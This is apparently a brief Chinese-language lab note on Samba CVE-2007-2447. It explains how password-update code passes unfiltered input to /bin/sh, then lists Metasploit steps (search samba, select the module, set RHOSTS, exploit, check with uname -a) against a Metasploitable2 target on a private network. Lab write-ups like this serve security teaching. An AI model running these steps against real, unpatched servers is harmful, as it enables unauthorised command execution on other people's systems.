CVE：CVE-2007-2447
原理：
Samba中負責在SAM數據庫更新用戶口令的代碼未經過濾便將用戶輸入傳輸給了/bin/sh。如果在調用smb.conf中定義的外部腳本時，通過對/bin/sh的MS-RPC調用提交了惡意輸入的話，就可能允許攻擊者以nobody用戶的權限執行任意命令。
漏洞利用:
攻擊機 kali
IP 192.168.129.133
靶機 Metasploitable2
IP 192.168.129.128
msf中搜索samba
use 13 選擇漏洞
show options 查看選項
set RHOSTS 設置要攻擊的ip
exploit 開始攻擊
之后uname -a驗證